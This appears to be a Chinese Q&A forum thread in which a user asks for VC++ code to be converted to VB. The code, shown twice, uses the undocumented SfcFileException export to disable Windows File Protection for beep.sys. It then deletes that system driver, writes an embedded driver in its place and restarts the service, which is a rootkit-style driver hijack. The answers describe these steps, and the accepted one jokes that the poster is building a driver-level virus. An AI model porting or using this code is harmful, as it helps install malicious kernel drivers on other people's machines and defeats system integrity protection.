vc代码转vb代码
有段代码是vc的请某位超人转换成vb的api声明不用写。测试成功的话追加分。#include"stdio.h"#include<windows.h>#include<sh...
有段代码是vc的请某位超人转换成vb的
api声明不用写。测试成功的话追加分。
#include "stdio.h"
#include <windows.h>
#include <shlwapi.h>
typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);
void KillSFC()
{
WCHAR drvpath[MAX_PATH]={0};
GetSystemDirectoryW(drvpath,sizeof(drvpath));
StrCatW(drvpath,L"\\drivers\\beep.sys");
HMODULE hLib = LoadLibrary("SFC.DLL");
SfcFileException *se = (SfcFileException (__stdcall *))GetProcAddress(hLib,(LPCSTR)5);
se(0,drvpath,-1);
FreeLibrary(hLib);
return;
}
void Drop()
{
HRSRC hres=NULL;
DWORD size,bytestowritten;
HGLOBAL mappingbase;
HANDLE hfile;
char drvpath[MAX_PATH];
GetSystemDirectory(drvpath,MAX_PATH);
strcat(drvpath,"\\drivers\\beep.sys");
DeleteFile(drvpath);
hres=FindResource(GetModuleHandle(0),"MySYS","sys");
if (!hres) return;
size=SizeofResource(GetModuleHandle(0),hres);
mappingbase=LoadResource(GetModuleHandle(0),hres);
hfile=CreateFile(drvpath,GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,CREATE_NEW,0,NULL);
WriteFile(hfile,mappingbase,size,&bytestowritten,0);
CloseHandle(hfile);
return;
}
void fuzzbeep()
{
SC_HANDLE scm_handle,beephandle;
SERVICE_STATUS service_status;
BOOL ctrlret=FALSE;
scm_handle=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if (NULL==scm_handle) return;
beephandle=OpenService(scm_handle,"beep",SERVICE_ALL_ACCESS|GENERIC_EXECUTE);
if (NULL==beephandle)
{
CloseServiceHandle(scm_handle);
return;
}
ctrlret=ControlService(beephandle,SERVICE_CONTROL_STOP,&service_status);
//用驱动测试一下
KillSFC();
Drop();
ctrlret=StartService(beephandle,NULL,NULL);
CloseServiceHandle(beephandle);
CloseServiceHandle(scm_handle);
return;
}
int main(int argc, char* argv[])
{
fuzzbeep();
return 0;
} 展开
api声明不用写。测试成功的话追加分。
#include "stdio.h"
#include <windows.h>
#include <shlwapi.h>
typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);
void KillSFC()
{
WCHAR drvpath[MAX_PATH]={0};
GetSystemDirectoryW(drvpath,sizeof(drvpath));
StrCatW(drvpath,L"\\drivers\\beep.sys");
HMODULE hLib = LoadLibrary("SFC.DLL");
SfcFileException *se = (SfcFileException (__stdcall *))GetProcAddress(hLib,(LPCSTR)5);
se(0,drvpath,-1);
FreeLibrary(hLib);
return;
}
void Drop()
{
HRSRC hres=NULL;
DWORD size,bytestowritten;
HGLOBAL mappingbase;
HANDLE hfile;
char drvpath[MAX_PATH];
GetSystemDirectory(drvpath,MAX_PATH);
strcat(drvpath,"\\drivers\\beep.sys");
DeleteFile(drvpath);
hres=FindResource(GetModuleHandle(0),"MySYS","sys");
if (!hres) return;
size=SizeofResource(GetModuleHandle(0),hres);
mappingbase=LoadResource(GetModuleHandle(0),hres);
hfile=CreateFile(drvpath,GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,CREATE_NEW,0,NULL);
WriteFile(hfile,mappingbase,size,&bytestowritten,0);
CloseHandle(hfile);
return;
}
void fuzzbeep()
{
SC_HANDLE scm_handle,beephandle;
SERVICE_STATUS service_status;
BOOL ctrlret=FALSE;
scm_handle=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if (NULL==scm_handle) return;
beephandle=OpenService(scm_handle,"beep",SERVICE_ALL_ACCESS|GENERIC_EXECUTE);
if (NULL==beephandle)
{
CloseServiceHandle(scm_handle);
return;
}
ctrlret=ControlService(beephandle,SERVICE_CONTROL_STOP,&service_status);
//用驱动测试一下
KillSFC();
Drop();
ctrlret=StartService(beephandle,NULL,NULL);
CloseServiceHandle(beephandle);
CloseServiceHandle(scm_handle);
return;
}
int main(int argc, char* argv[])
{
fuzzbeep();
return 0;
} 展开
3个回答
展开全部
没有转换的,只有你根据他的功能用其他语言在做,即使是转换也是根据这个方法实现的。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
貌似就是OpenSCManager》OpenService》ControlService,成功的话就禁用windows对beep.sys的文件保护,然后删除beep.sys,把自己的驱动复制到beep.sys,然后猥琐滴StartService,没测试,不知道能否成功
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
邪恶的BEEP.SYS……
貌似楼主想用VB做驱动级VIRUS……
貌似楼主想用VB做驱动级VIRUS……
本回答被提问者采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询